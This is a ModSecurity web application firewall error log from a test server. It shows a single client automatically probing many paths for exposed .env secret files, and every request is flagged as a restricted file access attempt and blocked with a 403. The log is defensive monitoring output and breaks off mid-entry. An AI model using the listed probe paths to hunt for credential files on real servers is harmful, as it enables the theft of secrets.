[Thu Feb 26 01:03:22.646952 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45AAAAAY&quot;]
[Thu Feb 26 01:03:22.647119 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45AAAAAY&quot;]
[Thu Feb 26 01:03:22.676194 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v13.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_gAAAAc&quot;]
[Thu Feb 26 01:03:22.676455 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_gAAAAc&quot;]
[Thu Feb 26 01:03:22.676634 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_gAAAAc&quot;]
[Thu Feb 26 01:03:22.705297 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v7.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_wAAAAc&quot;]
[Thu Feb 26 01:03:22.705536 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_wAAAAc&quot;]
[Thu Feb 26 01:03:22.705690 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_wAAAAc&quot;]
[Thu Feb 26 01:03:22.713553 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45QAAAAY&quot;]
[Thu Feb 26 01:03:22.713782 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45QAAAAY&quot;]
[Thu Feb 26 01:03:22.713936 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45QAAAAY&quot;]
[Thu Feb 26 01:03:22.737790 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45gAAAAY&quot;]
[Thu Feb 26 01:03:22.738022 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45gAAAAY&quot;]
[Thu Feb 26 01:03:22.738175 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45gAAAAY&quot;]
[Thu Feb 26 01:03:22.751237 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v8.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAAAAAAc&quot;]
[Thu Feb 26 01:03:22.751458 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAAAAAAc&quot;]
[Thu Feb 26 01:03:22.751611 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAAAAAAc&quot;]
[Thu Feb 26 01:03:22.766257 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v10.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45wAAAAY&quot;]
[Thu Feb 26 01:03:22.766486 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45wAAAAY&quot;]
[Thu Feb 26 01:03:22.766636 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45wAAAAY&quot;]
[Thu Feb 26 01:03:22.783611 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v9.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAQAAAAc&quot;]
[Thu Feb 26 01:03:22.783813 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAQAAAAc&quot;]
[Thu Feb 26 01:03:22.783947 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAQAAAAc&quot;]
[Thu Feb 26 01:03:22.798479 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46AAAAAY&quot;]
[Thu Feb 26 01:03:22.798701 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46AAAAAY&quot;]
[Thu Feb 26 01:03:22.798855 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46AAAAAY&quot;]
[Thu Feb 26 01:03:22.813361 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/drupal-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAgAAAAc&quot;]
[Thu Feb 26 01:03:22.813584 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAgAAAAc&quot;]
[Thu Feb 26 01:03:22.813753 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAgAAAAc&quot;]
[Thu Feb 26 01:03:22.833822 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v12.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46QAAAAY&quot;]
[Thu Feb 26 01:03:22.834037 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46QAAAAY&quot;]
[Thu Feb 26 01:03:22.834189 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46QAAAAY&quot;]
[Thu Feb 26 01:03:22.844499 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/integration/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 